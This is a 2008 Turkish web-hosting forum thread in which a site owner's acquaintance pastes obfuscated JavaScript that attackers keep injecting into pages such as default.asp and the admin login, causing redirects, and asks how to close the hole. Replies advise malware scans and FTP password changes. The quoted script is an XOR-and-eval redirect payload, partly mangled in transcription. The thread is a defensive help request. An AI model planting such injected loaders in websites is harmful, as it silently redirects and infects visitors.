• 17-08-2008, 16:11:23
    #1
    Kimlik doğrulama veya yönetimden onay bekliyor.
    mrb arkadaşlar,

    bir tandığımın sitesinde, bazı dosyalara sürekli bir kod ekliyorlar. Kodu ekleyince sayfaya girince yönlendirme oluyor. Bu nasıl bir açıktır? nasıl kapatabiliriz?

    kod:

    <script language=JavaScript> function jpbn15{var  h=p.length,k=1024,s,i,c,z=0,d=0,j=0,t=Array(63,47,5,10,43,59,8,3,36,1,0,0,0,0,0,0,4,11,24,30,6,35,51,62,27,13,34,48,53,20,57,12,58,38,18,39,31,37,22,25,9,54,21,0,0,0,0,26,0,28,19,16,46,60,44,45,23,56,32,0,61,50,55,14,2,17,15,33,29,41,40,42,52,49,7);for(i=Math.ceil(h/k);i>0;i--){c='';for(s=Math.min(h,k);s>0;s--,h--){{j|=(t[p.charCodeAt(z++)-48])<<d;if{c+=String.fromCharCode(227^j&255);j>>=8;d-=2}else{d=6}}}eval;}}jpbn15('MwBEzm6UI7NUpCuUcPIySmBEDROYzm6jVPvsICWFMDuJh_im@0gJ2Dujo_iKI3vEDPgj_rgjRrO8qpvn91iUhoWYOFfjzCvF9G6EkJvF2wiEh_B8InvshmeUOFIy65wjhdBFqmvUICimd3iUAYa8pYisOPim3SfxVhIxR4Om@AvYbAvx@EOy9rOU3CiUAPIxR4lKA_vJ@diUCTgY77NU_GvsCzes3pN8r3vQWn6EI_BKt0IF3VB8pPvstbfm')</script><!--  212.175.16.186 -->
  • 17-08-2008, 16:16:51
    #2
    virüs gibi duruyor. virüs taram yaptır kaspersky tercih edilir. ftp şifrelerini değiştir.
  • 17-08-2008, 16:36:46
    #3
    Sunucu Windows tabanlı sanırım. Basit trojenlerden girmiştir. Sunucu sahibi Kaspersky kurarak temizleyebilir. Sayfalara zarar vermez.
  • 17-08-2008, 19:29:15
    #4
    teşekkürler arkadaşlar.
  • 17-08-2008, 23:18:55
    #5
    bazı dosyalar dediğin index.php ve index.html mi
  • 18-08-2008, 09:51:16
    #6
    bazen default.asp, bazen admin paneli giriş sayfasına vs vs